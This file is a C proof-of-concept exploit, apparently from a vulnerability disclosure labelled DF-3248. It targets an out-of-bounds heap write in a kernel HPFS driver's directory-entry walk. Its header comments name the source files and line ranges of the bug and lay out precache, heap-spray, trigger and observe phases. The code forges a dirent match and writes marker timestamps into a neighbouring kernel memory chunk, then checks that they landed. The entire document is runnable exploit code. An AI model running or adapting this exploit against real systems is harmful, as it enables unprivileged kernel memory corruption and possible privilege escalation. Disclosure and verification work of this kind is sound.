DF-3248 / poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 | /* * DF-3248 โ unprivileged OOB heap write through hpfs_genlookupbyname's * unvalidated dirent walk, sink at hpfs_updateparent * (sys/vfs/hpfs/hpfs_lookup.c:82-97 walk, sys/vfs/hpfs/hpfs_subr.c:699-709 write). * * Run as the unprivileged mount owner (uid 1001) on a RW mount of the * crafted image (root also works: caps pass setattr's priv check). * * Phases (argv[2]): * precache โ stat /mp/QZ (caches root + root2 chunks via XSTEP's DE_DOWN * break-dive), then stat /mp/Dk/QZ for every spray dir k * (caches each spray chunk; "QZ" walk ends gracefully between * "MID" and "XSTEP2" โ never hops OOB). * trigger โ open /mp/ZFILE (root walk dives root2, XSTEP2 hops de_reclen * past the 2048-byte chunk -> forged "ZFILE" match in a * NEIGHBORING chunk), futimes() markers, close() -> * hpfs_inactive -> hpfs_updateparent re-walks and WRITES * de_mtime@dep+8, de_size@dep+16, de_atime@dep+24 at the OOB dep. * observe โ stat /mp/Dk/ZFILE for every k: first lookup per Dk walks its * dirblk (namei cache was primed with "QZ", not "ZFILE") and * copies the (possibly corrupted) dirent times out; the victim * chunk reports st_mtim=0x4242... / st_atim=0x4141... * * usage: poc /mountpoint [all|precache|trigger|observe] [logfile] */ #include <sys/stat.h> #include <sys/time.h> #include <dirent.h> #include <errno.h> #include <fcntl.h> #include <stdarg.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define MARK_ATIME 0x4141414141414141LL #define MARK_MTIME 0x4242424242424242LL #define NSPRAY 24 /* D2 .. D25 */ static int logfd = -1; static void plog(const char *fmt, ...) { va_list ap; char buf[1024]; va_start(ap, fmt); vsnprintf(buf, sizeof(buf), fmt, ap); va_end(ap); fputs(buf, stdout); fflush(stdout); if (logfd >= 0) { if (write(logfd, buf, strlen(buf)) < 0) { /* best effort */ } else fsync(logfd); } } int main(int argc, char **argv) { char path[512]; struct stat st; struct timeval tv[2]; int fd, i, hit = 0; const char *phase = argc > 2 ? argv[2] : "all"; if (argc < 2) { fprintf(stderr, "usage: %s /mountpoint [all|precache|trigger|observe] [logfile]\n", argv[0]); return (2); } if (argc > 3) logfd = open(argv[3], O_CREAT|O_WRONLY|O_APPEND, 0644); if (!strcmp(phase, "precache") || !strcmp(phase, "all")) { snprintf(path, sizeof(path), "%s/QZ", argv[1]); plog("precache_root_QZ_start\n"); if (stat(path, &st) != 0) plog("precache_root_QZ_enoent_ok_errno_%d\n", errno); for (i = 0; i < NSPRAY; i++) { snprintf(path, sizeof(path), "%s/D%d/QZ", argv[1], i + 2); if (stat(path, &st) != 0) plog("precache_D%d_QZ_enoent_ok\n", i + 2); else plog("precache_D%d_QZ_UNEXPECTED_OK\n", i + 2); } plog("precache_done\n"); } if (!strcmp(phase, "trigger") || !strcmp(phase, "all")) { plog("open_ZFILE_start\n"); snprintf(path, sizeof(path), "%s/ZFILE", argv[1]); fd = open(path, O_RDONLY); if (fd < 0) { plog("open_ZFILE_FAILED_errno_%d\n", errno); return (2); } plog("open_ZFILE_ok_(OOB_dirent_matched)\n"); tv[0].tv_sec = (time_t)MARK_ATIME; tv[0].tv_usec = 0; tv[1].tv_sec = (time_t)MARK_MTIME; tv[1].tv_usec = 0; plog("futimes_start\n"); if (futimes(fd, tv) != 0) { plog("futimes_FAILED_errno_%d\n", errno); return (3); } plog("futimes_ok\n"); plog("close_start\n"); close(fd); plog("close_ok_updateparent_fired\n"); } if (!strcmp(phase, "observe") || !strcmp(phase, "all")) { for (i = 0; i < NSPRAY; i++) { long long a, m; snprintf(path, sizeof(path), "%s/D%d/ZFILE", argv[1], i + 2); if (stat(path, &st) != 0) { plog("observe_D%d_ZFILE_errno_%d\n", i + 2, errno); continue; } a = (long long)st.st_atim.tv_sec; m = (long long)st.st_mtim.tv_sec; plog("observe_D%d_ZFILE_atime_0x%llx_mtime_0x%llx%s\n", i + 2, a, m, (a == MARK_ATIME && m == MARK_MTIME) ? "_<<<_OOB_WRITE_MARKERS" : ""); if (a == MARK_ATIME && m == MARK_MTIME) hit = 1; } plog(hit ? "RESULT=OOB_WRITE_CONFIRMED\n" : "RESULT=NO_MARKER\n"); } if (logfd >= 0) close(logfd); return (hit ? 0 : (!strcmp(phase, "observe") || !strcmp(phase, "all")) ? 1 : 0); } |